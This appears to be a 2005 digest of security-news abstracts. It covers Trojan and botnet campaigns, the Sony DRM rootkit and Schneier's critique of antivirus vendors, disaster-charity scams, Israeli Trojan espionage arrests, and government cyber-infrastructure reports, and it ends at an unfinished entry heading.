Anti-virus researchers are sounding the alert for a massive, well-coordinated hacker attack using three different Trojans to hijack PCs and create botnets-for-hire. The three-pronged attack is being described as "unprecedented" because of the way the Trojans communicate with each other to infect a machine, disable anti-virus software and leave a back door open for future malicious use. Roger Thompson, director of malicious content research at Computer Associates International Inc. said that this attack "... clearly points to a very well-organized group either replenishing existing botnets or creating new ones." Once the three Trojans are installed, the infected computer becomes part of a botnet and can be used in spam runs, distributed denial-of-service attacks or to log keystrokes and steal sensitive personal information. According to CA's Thompson, the success of the three-pronged attack could signal the end of signature-based virus protection if Trojans immediately disable all means of protection. He said he thinks the attack, which used virus code from the Bagle family, is the work of a very small group of organized criminals. With the rapid proliferation of new types of virus, Trojan and worm attacks, PC users are urged to be strict about following security guidance.

Category14.4Trojans2005-06-16United Kingdom UK cyber infrastructure Trojan horse attack Far East

DHS IAIP Daily; http://www.vnunet.com/vnunet/news/2138105/ukinfrastructure-trojan-attack

UNITED KINGDOM'S CYBER INFRASTRUCTURE UNDER TROJAN ATTACK

Parts of the United Kingdom's (UK) key computer systems are being targeted by Trojan software apparently originating from the Far East, according to the National Infrastructure Security Coordination Centre (NISCC). Both the UK government and private companies are being targeted, and an NISCC bulletin lists 76 Trojan programs that have been detected. The organization claims that the IP addresses on the e-mails often come from the Far East. "Trojan capabilities suggest that the covert gathering and transmitting of otherwise privileged information is a principal goal," stated the bulletin. "The attacks normally focus on individuals who have jobs working with commercially or economically sensitive data." The bulletin also warned that firewalls and antivirus software do not protect against the Trojans as they can be modified by security code to avoid signature traces. NISCC Bulletin: http://www.niscc.gov.uk/niscc/docs/ttea.pdf

Category 14.4 Trojans

2005-06-30

TechWeb trojan filtering Finnish firm worms Trojan horses Windows HOSTS Microsoft RAS API IP addresses Computer Associates F-Secure McAfeen Sophos Symantec Trend Micro Mitglieder

DHS IAIP Daily; http://www.techweb.com/wire/security/164904273

NEW TROJAN FILTERING PACKETS TO ISOLATE USERS

A new Trojan is using a sophisticated technique to cut off infected computers from anti-virus and security vendors' update sites, the Finnish firm F-Secure said Thursday, June 30. It's not uncommon for worms and Trojan horses to sever links to update sites, but the until recently, said F-Secure, the method has been different: modifying the Windows HOSTS file to redirect the domains of popular security vendors to the local host so that the browser returns a blank page or error. This Trojan, dubbed Fantibag.b by F-Secure (and Fantibag.a by Computer Associates), however, blocks access by creating packet filtering policies using the Microsoft RAS packet filtering API. The result: all inbound and outbound packets between the user's machine and any of the 100+ filtered IP addresses are then dropped, essentially cutting communication and preventing updates--such as new malware signatures--from being downloaded. Among the filtered IP addresses are those belonging to Microsoft (including Windows Update), Computer Associates, F-Secure, McAfee, Sophos, Symantec, and Trend Micro. Fantibag.b sports a tenuous connection with the more prevalent Mitglieder Trojan, said Computer Associates; the former may be downloaded to systems already compromised by Mitglieder.

Category 14.4 Trojans 2005-07-04 The Register Symbian Trojan phones Doomboot mobile smartphones Bluetooth battery Finnish

DHS IAIP Daily;

http://www.theregister.co.uk/2005/07/04/symbian_trojan_doomb oot/

SYMBIAN TROJAN DRAINS THE LIFE FROM PHONES

Virus writers have created a new Symbian Trojan called Doomboot-A that loads an earlier mobile virus (Commwarrior-B) onto vulnerable smartphones. Doomboot-A also preventing infected phones from booting up properly. "Doomboot-A causes the phone not to boot anymore and Commwarrior causes so much Bluetooth traffic that the phone will run out of battery in less than one hour. Thus the user who gets his phone infected with Doomboot-A has less than one hour to figure out what is happening and disinfect his phone, or he will lose all data," writes Jarno Niemela, a researcher at Finnish anti-virus firm F-Secure. "The Doomboot-A installation does not give any obvious clues that something is wrong, and Commwarrior-B does not have icon and is not visible in the process list. So the installation of Doomboot-A looks very much like failed installation of pirate copied game, and [a] user has hard time noticing that something bad is happening," he added. Doomboot-A, like most Symbian Trojans, poses as a pirate copy of a Symbian game (in this case Doom 2). Users who avoid pirated games or applications should be safe from infection.

Category14.4Trojans2005-07-11trojan horse attacks alert virus companies individuals infiltrateelements threat
infrastructure operations software firewalls recipients patch vulnerabilities

DHS IAIP Daily; http://www.esecurityplanet.com/alerts/article.php/3519236

US-CERT WARNS OF LATEST TROJAN HORSE ATTACKS

The US-CERT issued an alert last week warning of heightened trojan virus attacks against companies and individuals. Although trojan attacks that infiltrate computer systems aren't new, US-CERT said the technique used in these latest attacks have two distinct elements, which pose a threat to computing infrastructure and individual business operations. First, the trojans can elude conventional protective anti-virus software and firewalls. A number of open source and tailored trojans, altered to avoid anti-virus detection, have been used. Second, the e-mails are sent to specific or targeted recipients. Unlike "phishing" attacks, the e-mails use subject lines often referring to work or other subjects that the recipient would find relevant. US-CERT made 12 recommendations for system administrators in order to head off trojan horse attacks. They include using an anti-virus scanner on all e-mail attachments, updating operating system and application software to patch vulnerabilities exploited in the past by these Trojans; and turn off 'Preview Pane' functionality in e-mail clients and set the default options to view opened e-mails as plain text. Technical Cyber Security Alert TA05-189A --Targeted Trojan Email Attacks: http://www.us-cert.gov/cas/techalerts/TA05-189A.html

Category14.4Trojans2005-10-27bird flu Trojan horse Microsoft Word macro security social engineering

DHS IAIP Daily;

http://www.techweb.com/wire/security/172900939;jsessionid=DI XRDJJ3N5GNGQSNDBCSKH0CJUMEKJVN

BIRD FLU TROJAN POSES DANGER TO WORD USERS

A new Trojan horse, dubbed "Navia.a" by Panda Software, uses subject heads of "Outbreak in North America" and "What is avian influenza (bird flu)?" to dupe recipients into opening an attached Microsoft Word document. Luis Corrons, director of Panda's research, says "Unfortunately, we were expecting something like this...This is not the first time, and won't be the last, that writers of malicious code have taken advantage of people's misfortune and anxieties to spread their Trojans and worms." To protect against a macro-based exploit, Word users should set macro security level at "Medium," which triggers a warning when a Word document containing one or macros is opened, or "High," to disable macros entirely.

Category 14.4 Trojans 2005-10-31 digital rights management DRM SONY CD-ROM rootkit Trojan copyright protection malware malicious software

http://www.sysinternals.com/blog/2005/10/sony-rootkits-and-digital-rights.html 24 09

SONY DRM INSTALLS ROOTKIT

On Oct. 31, Mark Russinovich broke the story in his blog: Sony BMG Music Entertainment distributed a copy-protection scheme with music CDs that secretly installed a rootkit on computers. This software tool is run without your knowledge or consent -- if it's loaded on your computer with a CD, a hacker can gain and maintain access to your system and you wouldn't know it.

The Sony code modifies Windows so you can't tell it's there, a process called "cloaking" in the hacker world. It acts as spyware, surreptitiously sending information about you to Sony. And it can't be removed; trying to get rid of it damages Windows.

This story was picked up by other blogs ..., followed by the computer press. Finally, the mainstream media took it up.

The outcry was so great that on Nov. 11, Sony announced it was temporarily halting production of that copy-protection scheme. That still wasn't enough -- on Nov. 14 the company announced it was pulling copy-protected CDs from store shelves and offered to replace customers' infected CDs for free....

[The text above is the start of Bruce Schneier's analysis of the implications of the SONY DRM rootkit case -- more in the entry specifically about his analysis on 17 Nov 2005.]

Category 14.4	Trojans
2005-11-17	digital rights management DRM SONY CD-ROM rootkit Trojan copyright protection malware malicious software collusion antivirus incompetence failure false negative

Schneir On Security;

09

24

http://www.schneier.com/blog/archives/2005/11/sonys_drm_rootk.html SCHNEIER BLASTS INDUSTRY COLLUSION FOR TOLERATING SONY DRM ROOTKIT

In a blistering analysis of the SONY DRM rootkit debacle, security guru Bruce Schneier attacked big antivirus makers Symantec and McAfee and industry giant Microsoft for tolerating the rootkit since mid-2004. The fundamental problem is collusion:

>The story to pay attention to here is the collusion between big media companies who try to control what we do on our computers and computer-security companies who are supposed to be protecting us.

Initial estimates are that more than half a million computers worldwide are infected with this Sony rootkit. Those are amazing infection numbers, making this one of the most serious internet epidemics of all time -- on a par with worms like Blaster, Slammer, Code Red and Nimda.

What do you think of your antivirus company, the one that didn't notice Sony's rootkit as it infected half a million computers? And this isn't one of those lightning-fast internet worms; this one has been spreading since mid-2004. Because it spread through infected CDs, not through internet connections, they didn't notice? This is exactly the kind of thing we're paying those companies to detect -- especially because the rootkit was phoning home.

But much worse than not detecting it before Russinovich's discovery was the deafening silence that followed. When a new piece of malware is found, security companies fall over themselves to clean our computers and inoculate our networks. Not in this case.

McAfee didn't add detection code until Nov. 9, and as of Nov. 15 it doesn't remove the rootkit, only the cloaking device. The company admits on its web page that this is a lousy compromise. "McAfee detects, removes and prevents reinstallation of XCP." That's the cloaking code. "Please note that removal will not impair the copyright-protection mechanisms installed from the CD. There have been reports of system crashes possibly resulting from uninstalling XCP." Thanks for the warning.

Symantec's response to the rootkit has, to put it kindly, evolved. At first the company didn't consider XCP malware at all. It wasn't until Nov. 11 that Symantec posted a tool to remove the cloaking. As of Nov. 15, it is still wishy-washy about it, explaining that "this rootkit was designed to hide a legitimate application, but it can be used to hide other objects, including malicious software."

The only thing that makes this rootkit legitimate is that a multinational corporation put it on your computer, not a criminal organization.

You might expect Microsoft to be the first company to condemn this rootkit. After all, XCP corrupts Windows' internals in a pretty nasty way. It's the sort of behavior that could easily lead to system crashes -- crashes that customers would blame on Microsoft. But it wasn't until Nov. 13, when public pressure was just too great to ignore, that Microsoft announced it would update its security tools to detect and remove the cloaking portion of the rootkit.

Perhaps the only security company that deserves praise is F-Secure, the first and the loudest critic of Sony's actions. And Sysinternals, of course, which hosts Russinovich's blog and brought this to light.

Bad security happens. It always has and it always will. And companies do stupid things; always have and always will. But the reason we buy security products from Symantec, McAfee and others is to protect us from bad security.

I truly believed that even in the biggest and most-corporate security company there are people with hackerish instincts, people who will do the right thing and blow the whistle. That all the big security companies, with over a year's lead time, would fail to notice or do anything about this Sony rootkit demonstrates incompetence at best, and lousy ethics at worst.

Microsoft I can understand. The company is a fan of invasive copy protection -- it's being built into the next version of Windows. Microsoft is trying to work with media companies like Sony, hoping Windows becomes the media-distribution channel of choice. And Microsoft is known for watching out for its business interests at the expense of those of its customers.

What happens when the creators of malware collude with the very companies we hire to protect us from that malware?

We users lose, that's what happens. A dangerous and damaging rootkit gets introduced into the wild, and half a million computers get infected before anyone does anything.

Who are the security companies really working for? It's unlikely that this Sony rootkit is the only example of a media company using this technology. Which security company has engineers looking for the others who might be doing it? And what will they do if they find one? What will they do the next time some multinational company decides that owning your computers is a good idea?

These questions are the real story, and we all deserve answers.<

15.1 Fraud

Category 15.1	Fraud
2005-01-06	tsunami fraud Internet relief charity scam disaster relief

NewsScan;

http://www.nytimes.com/2005/01/06/international/worldspecial4/06fbi.html?oref =login

BEWARE TSUNAMI INTERNET FRAUDS

The FBI has issued a warning about online frauds that try to capitalize on the recent tsunami disaster by offering to help tsunami victims or relatives for a fee. Audri Lanford of ScamBusters.org comments: "Within hours of 9/11 we had the 9/11 scams. We've seen them for every major disaster." (New York Times 6 Jan 2005)

Category 15.1 Fraud

2005-04-08 fraud indicments E-Rate program NEC Justice Department

EDUPAGE; http://online.wsj.com/article/0,,SB111292755907301701,00.html

E-RATE INDICTMENTS HANDED DOWN

Six companies and five individuals have been indicted on charges of fraud in the federal E-Rate program, which was instituted to provide funds to connect public schools and libraries to the Internet. A year ago, a subsidiary of NEC admitted defrauding the program and settled with prosecutors for \$20.7 million. Those indicted this week were charged with fraud, collusion, and rigging bids. According to the Justice Department, the accused misrepresented financial terms of E-Rate projects to school administrators and colluded on pricing and terms of government contracts. The violations are said to have taken place in seven states, though all but one defendant are based in California. The individuals charged face up to five years in prison, and the indicted companies could be fined as much as \$10 million. Wall Street Journal, 8 April 2005 (sub. req'd)

Category 15.1 Fraud 2005-05-11 NCAA online course cheating fraud student athletes Nicholls State University Louisiana

EDUPAGE; http://www.insidehighered.com/news/2005/05/11/nicholls

NCAA FINDS ONLINE COURSE FRAUD

An investigation of student athletes at Nicholls State University in Louisiana has revealed that students and university staff had engaged in "gross academic fraud" by fraudulently completing online courses to preserve the students' eligibility for sports. The university's registrar discovered the fraud after noticing that many student athletes were completing online courses from Brigham Young University (BYU), often with much higher grades than for classes they took at Nicholls. As it turned out, two coaches and an academic adviser were giving students answers for the courses and in some cases serving as proctors for the students' tests. The National Collegiate Athletic Association (NCAA) confirmed the fraud and imposed penalties on the school's athletic programs, but the episode has raised a red flag about the potential for similar abuse of online programs. "There appeared generally not to be sufficient monitoring either by BYU or ... by Nicholls State," according to Josephine Potuto, member of the NCAA panel that conducted the investigation. A statement from the panel noted, "This case illustrates the ease with which individuals can manipulate and then breach security protocols for online correspondence courses." Inside Higher Ed, 11 May 2005

Category 15.1 Fraud

2005-09-08 hurricane Katrina disaster fraud scam FBI warning Internet sites Task Force

DHS IAIP Daily; http://www.msnbc.msn.com/id/9229950/

KATRINA NET SCAMS MULTIPLYING, FBI WARNS

There has been a significant increase in Internet sites purporting to be charities related to Hurricane Katrina. FBI assistant director Louis M. Reigel stated there were roughly 2,300 Katrina-related sites by midday Thursday. As of last week the FBI had recieved 250 complaints at its Internet complaint center about hurricane-related charities. Due to this the Justice Department has established a Hurricane Katrina Fraud Task Force that will focus on phony charities, identity theft, insurance scams and government benefit fraud.

Category15.1Fraud2005-11-03hacker fraud botnet software computer compromise lawsuitDHS IAIP Daily; http://www.securityfocus.com/news/11353MAN ACCUSED OF SELLING BOT SOFTWARE TO COMPROMISE COMPUTERS

Federal authorities have arrested an accused man of creating bot software to compromise nearly 400,000 Windows computers and then using his control of the systems to garner more than \$60,000 in profits. James Aquilina, Assistant U.S. Attorney for the Central District of California and the prosecutor on the case stated, "This is the first case to charge someone for using bots for generating profits. On the one hand, he is selling bots to other people so that they can (perform) denial-of-service attacks and spam to make money. And on the other hand, he is using bots to make affiliate income." Over nearly a year, the man allegedly used automated software to infect Windows systems, advertised and sold access to the compromised PCs, and used the software to perpetrate click fraud, garnering tens of thousands of dollars in affiliate fees.

15.2 Extortion

Category	15.2	Extortion		
2005-01-1	8	scam fraud extortion anonymity Web		
RISKS			23	69
PAY FOR.	WHAT?			
		cam, "unsafedriver.com" allows anonymous posters to file unsubstantiated, u en unsafely free! However, to find out whether you have been accused of l		1

pay \$25 for the first vehicle registration and \$15 for other vehicles to be able to locate possible libel, prevent the records from being made public, or attach protests to accusations. As RISKS correspondent Dawn Cohen wrote, "This smells like a scam to me, but I'm surprised that it would be perpetuated by a source as reputable as USA Today. If it's not a scam, it's an outrage."

Category 15.2 Extortion

2005-10-05 VNUnet encryption attack hackers data PC key Internet Explorer malware Trojan

DHS IAIP Daily; http://www.vnunet.com/vnunet/news/2143265/web-attack-extorts -encryption

WEB ATTACK EXTORTS BY ENCRYPTION

Security experts today warned of a newly discovered attack in which hackers encrypt data on a compromised PC and demand payment for the decryption key. These attacks are happening when a user with a improperly patched version of Internet Explorer visits a webpage containing malware that downloads a Trojan.

16.1 Industrial espionage

Category 16.1 Industrial espionage

2005-01-24 IBM Lenovo China industrial espionage national security

NewsScan; http://news.com.com/IBM-

Lenovo+deal+said+to+get+national+security+review/2100-1003_3-5547546.html

IBM'S PC BUSINESS SALE RAISES RED FLAG ON NATIONAL SECURITY

The U.S. Committee on Foreign Investments, which reviews acquisitions of U.S. businesses by foreign firms, says it's concerned that IBM's sale of its PC business to China's Lenovo Group could open the door for industrial espionage. The committee is composed of 11 U.S. government agencies, including the departments of Justice and the Treasury. The \$1.75-billion deal has already passed the antitrust scrutiny of the Federal Trade Commission, which said it would not raise objections based on how the sale might affect competition in the market. The IBM-Lenovo transaction is the biggest PC industry deal since Hewlett-Packard acquired Compaq in May 2002, and would result in Lenovo becoming the third largest PC maker in the world, after Dell and HP. (CNet News.com 24 Jan 2005)

Category 16.1	Industrial espionage
2005-05-30	industrial espionage Trojan keyboard logger passwords crackers intrusion data theft criminal hackers

RISKS; http://www.haaretz.com/hasen/spages/581790.html (registration req'd) 23 88

EXTENSIVE INDUSTRIAL ESPIONAGE CASE IN ISRAEL

A large scale industrial espionage case is now unfolding in Israel.... A hacker had developed a Trojan horse application and sold it to several private eye companies -- it seems the Trojan was used for keyboard sniffing as well as file transfer. The private eyes' clients chose the the targeted victims, and the Trojan was sent there by e-mail or posted CD, masquerading as legitimate business presentation.

The collected info was transferred from the victims' computers into an FTP server site (it's not clear if this site was maintained by the private eyes or the hacker) to which access was sold to the clients in the form of one-time passwords at 2000 Euro per entry.

It seems none of the targeted systems was hardened in any way to detect such an intrusion, and the scheme was discovered only because the hacker had posted some of the illegally obtained items over the net.

[Abstract by Amos Shapir]

In RISKS 23.89, Gadi Evron contributed some follow-up information that included these comments::

>... Apart from the technical side of this attack and the extreme wide-scale of it, another interesting aspect is the use of social engineering.

In one description, I heard that a woman called a certain individual at one of the companies with a business offer, and later sent him a presentation via e-mail. When that presentation did not work, she proceeded to send him a CD, which did not work either....

This is not the first time this happened, and not the first time we've seen industrial espionage in IL, or private investigator companies developing their technological and operational capabilities. I've personally been approached about such a job twice in the past 2 years.<

Category 16.1	Industrial espionage
2005-06-01	industrial espionage Trojan horse spyware police investigation arrests harassment data theft copyright violation intellectual property social engineering keystroke logging remote control jail house arrest

CNN; http://www.cnn.com/2005/TECH/06/01/israel.computer.breakin.ap/

TROJAN HORSE SCANDAL IN ISRAEL

Israeli author Amon Jackont was upset to find parts of the manuscript on which he was working posted on the Internet. Then someone tried to steal money from his bank account. Suspicion fell on his stepdaughter's ex-husband, Michael Haephrati.

Police discovered a keystroke logger on Jackont's computer. Turned out Haephrati had also sold spy software to clients; the Trojan was concealed in what appeared to be confidential e-mail. Once installed on the victims' computers, the software sent surveillance data to a server in London, England. Haephrati was detained by UK police and investigations were underway in Germany and Israel. Twelve people were in jail in Israel; eight others were under house arrest. Suspects included private investigators and top executives from industrial firms. Victims included Hewlett-Packard, the Ace hardware stores, and a cable-communications company.

[Abstract by MK]				
Category 16.1	Industrial espionage			
2005-06-20 information warfare China Asia cyber-conflict economic harm costs industri espionage		dustrial		
RISKS		23	91	

ASIAN HACKERS BLAMED FOR ATTACKS ON U.K., U.S. COMPUTER NETWORKS

A U.K.'s National Infrastructure Security Coordination Center (NISCC) report says unidentified hackers from Asia have been launching a wave of attacks on government and corporate computer systems in the U.S., Canada, and the U.K. in an effort to steal sensitive commercially and economically valuable information.

[Abstract by Peter G. Neumann]

16.2 Industrial information systems sabotage

 Category 16.2
 Industrial information systems sabotage

 2005-02-17
 VoIP voice over IP FCC phone company antitrust Colorado investigation denial-of-service DoS information warfare competition

NewsScan; http://www.wsj.com/

PHONE COMPANY SUSPECTED OF BLOCKING VOIP CALLS

The FCC's investigating whether a rural phone company blocked access to the Vonage Internet-phone service, which was competing for the phone company's customers. The company has not been identified. The problem became public several days ago when Larry Lessig, a professor at Stanford Law School and an advocate of Internet freedom, mentioned Vonage's problem at an industry conference in Boulder, Colorado. Shutting off a potential competitor could violate antitrust laws barring companies that control essential facilities from refusing to give competitors the access needed to compete. (Wall Street Journal 17 Feb 2005)

Category 16.2	Industrial information systems sabotage
	study Department Homeland Security revenge reason computer sabotage sociological psychological factors

DHS IAIP Daily; http://www.informationweek.com/story/showArticle.jhtml?artic leID=163104819

DHS STUDY: REVENGE IS OFTEN THE REASON FOR COMPUTER SABOTAGE

Corporate insiders who sabotage computers so sensitive they risk endangering national security or the economy commonly are motivated by revenge against their bosses, according to a Department of Homeland Security (DHS) funded study released Monday, May 16. The study, conducted by the U.S. Secret Service and the U.S.-funded CERT Coordination Center at Carnegie Mellon University, examined dozens of computer-sabotage cases over six years to determine what motivates trusted insiders to attack and how their actions damage the country's most sensitive networks and data. The review described most attackers as disgruntled workers or former employees--typically working in technology departments--who were angry over disciplinary actions, missed promotions, or layoffs. The attacks included deleting vital software or data, posting pornography on an employee's Website, or crippling whole networks. The study said most saboteurs showed troubling signs before the attacks: truancy, tardiness, arguments with co-workers, or shoddy performance. Nearly all the employees took some steps to conceal their identities online as they plotted their attacks. All the attacks studied occurred between 1996 and 2002. The study said it did not examine insider attacks where employees sought to steal information to sell for profit or blackmail. Report: http://www.cert.org/archive/pdf/insidercross051105.pdf

16.3 Infrastructure protection & homeland security

Category16.3Infrastructure protection & homeland security2005-02-02Department of Homeland Security DHS privacy office first report Congress
biometric sensor network technology

DHS IAIP Daily; http://www.fcw.com/fcw/articles/2005/0131/web-dhs-02-02-05.asp

DEPARTMENT OF HOMELAND SECURITY PRIVACY OFFICE ISSUES FIRST ANNUAL REPORT

Department of Homeland Security (DHS) officials on Wednesday, February 2, released DHS' first annual privacy report to Congress, outlining work done in numerous areas, including technology. A primary goal of the department's privacy office, which is the first Congressionally mandated one for a federal agency, is ensuring that technologies sustain "privacy protections relating to the use, collection, and disclosure of personal information," according to the 112-page report. The office is examining use of biometric technology, radio frequency identification devices, data mining, and distributed data environments -- where data is shared with users, but remains with the owner. The privacy office is also considering the effect of emerging technologies, including geospatial information systems and services, unmanned aerial vehicles, and ubiquitous sensor networks, which may potentially raise separate privacy protection concerns, according to the report. Report: http://www.dhs.gov/dhspublic/interweb/assetlibrary/privacy_a nnualrpt_2004.pdf

Category16.3Infrastructure protection & homeland security2005-02-18Department Homeland Security DHS regional technology initiative Seattle local
government cybersecurity readiness

DHS IAIP Daily; http://www.dhs.gov/dhspublic/display?content=4362

HOMELAND SECURITY LAUNCHES REGIONAL TECHNOLOGY INTEGRATION INITIATIVE IN SEATTLE

The Department of Homeland Security on Friday, February 18, announced the addition of a new urban area to its Regional Technology Integration (RTI) initiative, which focuses on speeding the effective integration of innovative technologies and organizational concepts to the homeland security efforts of regional, state, and local jurisdictions. Through the program, managed by Homeland Security's Science & Technology directorate, four urban areas across the country have now been announced as the initial pilot locations for this program. The Seattle, Washington urban area joins Memphis, Tennessee; Anaheim, California; and Cincinnati, Ohio, as the pilot locations. These initial locations will provide the science and technology community with a realistic environment to test maturing hardware and concepts. The program will also provide information on how best to choose, deploy, and manage these technologies to strengthen the security posture of these and other communities. The goal of Homeland Security's Regional Technology Integration initiative is to facilitate the successful transfer and integration of existing and advanced homeland security technology systems to local governments in order to improve their preparedness and response.

Category 16.3 Infrastructure protection & homeland security

2005-02-22 federal government preparedness exercise Department of Homeland Security DHS RSA conference San Francisco

DHS IAIP Daily; http://www.fcw.com/fcw/articles/2005/0221/web-cyber-02-22-05 .asp

FEDERAL GOVERNMENT TO HOLD CYBER PREPAREDNESS EXERCISE

The federal government and several international partners will hold a cyber preparedness exercise in November, Department of Homeland Security (DHS) officials said at the RSA Conference in San Francisco last week. Its purpose is to give federal agencies an opportunity to test their plans for responding to a direct or indirect attack on the computer networks that control the nation's critical infrastructure such as power plants and oil pipelines. The exercise will be unclassified, and the public will be informed, said Hun Kim, deputy director of the National Cyber Security Division at DHS. The RSA Conference brings together IT professionals from industry, academia, and government to share information and exchange ideas on technology trends and best practices in IT security.

Category 16.3	Infrastructure protection & homeland security
2005-03-18	cybersecurity report prioritization government advisory committee vulnerabilities
	recommendations

RISKS; http://www.nitrd.gov/pubs/

23

81

PRESIDENT'S INFORMATION TECHNOLOGY ADVISORY COMMITTEE RELEASES NEW REPORT -- CYBER SECURITY: A CRISIS OF PRIORITIZATION

Vital to the Nation's security and everyday life, the information technology (IT) infrastructure of the United States is highly vulnerable to disruptive domestic and international attacks, the President's Information Technology Advisory Committee (PITAC) argues in a new report. While existing technologies can address some IT security vulnerabilities, fundamentally new approaches are needed to address the more serious structural weaknesses of the IT infrastructure.

In Cyber Security: A Crisis of Prioritization, PITAC presents four key findings and recommendations on how the Federal government can foster new architectures and technologies to secure the Nation's IT infrastructure. PITAC urges the Government to significantly increase support for fundamental research in civilian cyber security in 10 priority areas; intensify Federal efforts to promote the recruitment and retention of cyber security researchers and students at research universities; increase support for the rapid transfer of Federally developed cyber security technologies to the private sector; and strengthen the coordination of Federal cyber security R&D activities.

To request a copy of this report, please complete the form at http://www.nitrd.gov/pubs/, send an e-mail to nco@nitrd.gov, or call the National Coordination Office for Information Technology Research and Development at (703) 292-4873. Cyber Security: A Crisis of Prioritization can also be downloaded as a PDF file by accessing the link at http://www.nitrd.gov/pubs/.

About PITAC

The President's Information Technology Advisory Committee (PITAC) is appointed by the President to provide independent expert advice on maintaining America's preeminence in advanced information technology. PITAC members are IT leaders in industry and academia representing the research, education, and library communities, network providers, and critical industries, with expertise relevant to critical elements of the national IT infrastructure such as high-performance computing, large-scale networking, and high-assurance software and systems design. The Committee's studies help guide the Administration's efforts to accelerate the development and adoption of information technologies vital for American prosperity in the 21st century.

Contact: "Alan S. Inouye 1-703-292-4540" <inouye@nitrd.gov>

Category 16.3 Infrastructure protection & homeland security 2005-03-21 IT infrastructure cybersecurity criticism Presidential committee Cyber Security: A Crisis of Polarization report

DHS IAIP Daily; http://www.informationweek.com/story/showArticle.jhtml?artic leID=159903541&t

PRESIDENTIAL COMMITTEE CRITICIZES IT INFRASTRUCTURE SECURITY

The President's IT Advisory Committee (PITAC) on Friday, March 18, released the results of a report, "Cyber Security: A Crisis Of Prioritization," criticizing the country's IT infrastructure as highly vulnerable to attack by terrorists and cybercriminals. "The IT infrastructure is highly vulnerable to premeditated attacks with potentially catastrophic effects," committee chair Marc Benioff and co-chair Edward Lazowska wrote in a February 28 letter to President Bush. This infrastructure includes the public Internet as well as power grids, air-traffic-control systems, financial systems, and military and intelligence systems, they add. The committee comprised of IT leaders and academia, makes four key recommendations to help curb security exposures and provide long-term IT infrastructure stability: increase federal support for fundamental research in civilian cybersecurity; intensify federal efforts to promote recruitment and retention of cybersecurity researchers and students at research universities; provide increased support for the rapid transfer of federally developed, cutting-edge cybersecurity technologies to the private sector; and, better federal coordination of cybersecurity R&D. Report:

http://www.itrd.gov/pitac/reports/20050301_cybersecurity/cyb ersecurity.pdf

Category 16.3 Infrastructure protection & homeland security 2005-03-22 British intelligence warning Internet cyber attack UK computer critical infrastructure protection network counter terrorism al Qaeda

DHS IAIP Daily; http://thescotsman.scotsman.com/index.cfm?id=305582005

BRITISH INTELLIGENCE WARNS OF POSSIBLE CYBER ATTACK IN UK

International terrorists are training to launch cyber-terror attacks on Britain which could cripple vital economic, medical and transport networks, the government's counter-terrorism coordinator said Monday, March 21. Sir David Omand, one of the most senior members of the British intelligence community, said surveillance of suspected al Qaeda affiliates suggests they are working to use the Internet and other electronic communications systems to cause harm. Intelligence officials say that no matter how much the state does to prepare for cyber-terrorism, a great deal will rest on the willingness of the private sector to "harden" their systems against attack. Britain has not yet experienced genuine acts of cyber-terrorism, but Sir David said intelligence chiefs are in little doubt that the country must be ready for such an attack. The authorities' greatest fears about electronic attacks relate to the more exposed networks that make up what is known as "critical national infrastructure", many of which are in civilian hands. The global nature of the Internet means the threat from cyber-attacks is equally international, forcing British agents to work closely with nations they say they would often regard with suspicion or even hostility.

Category 16.3 Infrastructure protection & homeland security

2005-04-04 cyber terrorism analyst warning counterterrorism national cyber event critical infrastructure InfoSec World 2005 voice over Internet protocol VoIP

DHS IAIP Daily; http://www.eweek.com/article2/0,1759,1782286,00.asp

CYBER-TERRORISM ANALYST WARNS AGAINST COMPLACENCY

Cyber-security and counterterrorism analyst Roger Cressey on Monday, April 4, pleaded with IT executives not to underestimate the threat of "national cyber-event" targeting critical infrastructure in the United States. During a keynote address at the InfoSec World 2005 conference, Cressey warned against discounting the danger of the Internet being used in a terrorist-related attack. "It may not be a terrorist attack, but a cyber-event is a very, very serious possibility. When it happens, it will have serious economic impact on our critical infrastructure." Cressey, who served as chief of staff to the president's Critical Infrastructure Protection Board at the White House, said there was enough evidence that U.S. enemies were actively using the Web to recruit, organize and communicate terrorism activities. Cressey, the on-air counterterrorism analyst for NBC News, said the rapid rate in which Internet security vulnerabilities was being detected only adds to the worry. Cressey used part of his keynote to call on VoIP (Voice over Internet Protocol) developers to put security on the front burner. Describing VoIP security as the great challenge of this decade, he said it would be a "big mistake" for another nascent industry to emerge without built-in protections.

Category16.3Infrastructure protection & homeland security2005-04-06Department Homeland Security DHS privacy issues briefing personal data theft
abuse anti-terrorism

DHS IAIP Daily; http://www.informationweek.com/story/showArticle.jhtml?artic leID=160501384

COMMITTEE TO INFORM DHS ON PRIVACY ISSUES

A new group of public- and private-sector leaders in academia, business, and technology met Wednesday, April 6, in Washington, DC, to help the Department of Homeland Security (DHS) gain a greater understanding of how IT can be used to fight terrorism without exposing personal data to theft or abuse. The department's Data Privacy and Integrity Advisory Committee launched with a statement of mission and the selection of its inaugural chairman and vice chairwoman. Paul Rosenzweig, the committee's new chairman and a senior legal research fellow at the Heritage Foundation, said that the committee's greatest challenge will be helping the department as a whole focus on preserving individual freedoms while tightening security, and doing this in a public way. The committee will serve to inform DHS about privacy concerns related to all of the department's various agencies and directorates, which protect the nation's borders, waterways, and critical infrastructure. DHS Privacy Office: http://www.dhs.gov/privacy

Category16.3Infrastructure protection & homeland security2005-04-18European Union EU information technology IT critical infrastructure study
CI2RCO project national security protection

DHS IAIP Daily; http://www.computerworld.com/securitytopics/security/story/0,10801,101160,00.html

EU TASK FORCE TO STUDY IT CRITICAL INFRASTRUCTURE

The European Union has set up a task force to explore what its 25 member states are doing to combat cyberthreats against the region's critical infrastructure. As part of the EU's Critical Information Infrastructure Research Coordination (CI2RCO) project, announced Friday, April 15, the task force aims to identify research groups and programs focused on IT security in critical infrastructures, such as telecommunications networks and power grids. "We want to bring together experts across the European Union, learn more about their programs and how we can cooperate in curbing what we view as a global problem," said Paul Friessem, a director at the Fraunhofer Institute for Secure Information Technology (SIT), one of the organizations in the European task force. "We also intend to collaborate with experts outside the EU, in particular in the U.S., Canada, Australia and even possibly Russia." One of the problems facing the task force is convincing parties to divulge information that some governments view as critical to their national security. The task force will also ask the critical infrastructure players about their requirements. The plan is to submit an overview of the situation to the European Commission over the next few months.

 Category 16.3
 Infrastructure protection & homeland security

 2005-04-20
 cyber attack warning center pilot project CIDDAC infrastructure protection University of Pennsylvania

DHS IAIP Daily;

http://www.infoworld.com/article/05/04/20/HNcyberpilot_1.htm l

CYBER ATTACK EARLY WARNING CENTER BEGINS PILOT PROJECT

